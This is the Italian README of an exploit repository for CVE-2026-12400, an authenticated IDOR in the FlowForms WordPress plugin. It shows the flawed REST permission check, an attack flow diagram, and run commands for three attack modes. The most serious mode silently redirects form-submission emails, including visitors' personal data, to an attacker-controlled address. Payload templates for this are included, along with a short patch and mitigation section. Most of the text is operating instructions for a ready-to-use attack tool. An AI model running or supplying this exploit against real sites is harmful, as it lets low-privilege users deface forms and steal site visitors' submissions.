
# Exploit IDOR autenticato per WordPress per CVE-2026-12400; enumera gli ID dei moduli REST di FlowForms e modifica il contenuto dei moduli o dirotta le notifiche email.
| Proprietà | Valore |
|---|
| CVE ID | CVE-2026-12400 |
| Punteggio CVSS | 4.3 — Medio |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Bypass dell'autorizzazione tramite chiave controllata dall'utente) |
| Prodotto | FlowForms — Plugin WordPress per moduli conversazionali |
| Versione affetta | Tutte le versioni fino alla 1.1.1 incluse |
| Corretto in | Corretto in 1.1.2 |
| Ricercatore | Phantom Hat |
Studio completo white-box con analisi del codice sorgente, tracciamento del flusso di input e diff delle patch:
FlowForms espone due endpoint API REST sotto il namespace flowforms/v1 che sono vulnerabili:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Entrambi accettano un {id} controllato dall'utente nel percorso URL e modificano i dati del modulo di destinazione — nome, contenuto, layout, URL di reindirizzamento e destinatari delle notifiche email.
Entrambe le registrazioni di route vulnerabili condividono la stessa permission_callback difettosa:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts è una capacità posseduta dai Contributor. Il parametro {id} non viene mai verificato rispetto alla proprietà dell'utente richiedente — qualsiasi utente autenticato può prendere di mira qualsiasi ID modulo sul sito.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| Modalità | Endpoint | Impatto |
|---|---|---|
name | /forms/{id} | Rinominare qualsiasi modulo — deturpazione, ingegneria sociale |
content | /forms/{id} | Sovrascrivere layout, schermate di benvenuto/ringraziamento, URL di reindirizzamento |
email | /forms/{id}/settings | Dirottare l'email di notifica — ricevere silenziosamente tutte le sottomissioni del modulo |
La modalità email è la più critica. Dopo il dirottamento, ogni sottomissione al modulo di contatto della vittima — inclusi PII dei visitatori, messaggi e dettagli di contatto — viene inoltrata silenziosamente all'indirizzo controllato dall'attaccante. L'amministratore del sito non vede alcuna indicazione della modifica.
Contributor sul sito di destinazionegit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Rinomina qualsiasi modulo con contenuto controllato dall'attaccante:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Sovrascrive layout del modulo, schermate, URL di reindirizzamento e immagini di sfondo:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Reindirizza tutte le notifiche future di sottomissione dei moduli a un indirizzo controllato dall'attaccante:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Flag | Short | Descrizione | Obbligatorio |
|---|---|---|---|
--url | -u | URL di destinazione WordPress | ✅ |
--user | Nome utente WordPress (Contributor+) | ✅ | |
--password | Password WordPress | ✅ | |
--id-start | -i | ID modulo iniziale per l'enumerazione | ✅ |
--num-forms | -n | Numero di ID modulo da enumerare | ✅ |
--exploit | Modalità di attacco: name / content / email | ✅ | |
--proxy | -p | URL del proxy (es. http://127.0.0.1:8080) | ❌ |
I template di payload JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) sono definiti all'inizio dello script. Modificarli prima di eseguire per personalizzare il contenuto dell'attacco — cambiare l'indirizzo email di notifica, l'URL di reindirizzamento, l'immagine di sfondo, il titolo del modulo, ecc.
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
L'exploit esegue tre passaggi automatizzati:
Step 1 — Autenticazione
Effettua l'accesso come attaccante (Contributor) e recupera un nonce REST API valido da wp-admin/post-new.php.
Step 2 — Enumerazione dei moduli
Scansiona GET /flowform/{id} nell'intervallo di ID specificato. Gli ID che restituiscono HTTP 200 vengono raccolti come target accessibili — questi sono moduli pubblicati appartenenti a qualsiasi utente del sito, inclusi gli amministratori.
Step 3 — Sfruttamento
A seconda della modalità selezionata, invia il payload corrispondente all'endpoint REST non protetto:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsIl server accetta la richiesta e applica la modifica senza alcun controllo di proprietà.
| Azione | Dettagli |
|---|---|
| Patch | Sostituisci il controllo generico edit_posts con current_user_can('edit_post', $form_id) su entrambi gli endpoint — collegando il controllo delle capacità all'oggetto post specifico si applicano le regole di proprietà di WordPress |
| Mitigazione | Finché non viene applicata la patch, limita i ruoli Contributor e Author se il plugin è attivo |
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Polished exploit with rich UI (3 modes)
├── requirements.txt # Python dependencies
└── README.md # This file
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi di ricerca educativa. L'accesso non autorizzato a sistemi informatici è illegale secondo le leggi applicabili in tutto il mondo. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software. Ottenere sempre un'autorizzazione scritta esplicita prima di testare qualsiasi sistema di cui non si è proprietari.
Phantom Hat — Ricercatore di sicurezza indipendente
Questa ricerca è stata condotta come parte della divulgazione responsabile delle vulnerabilità.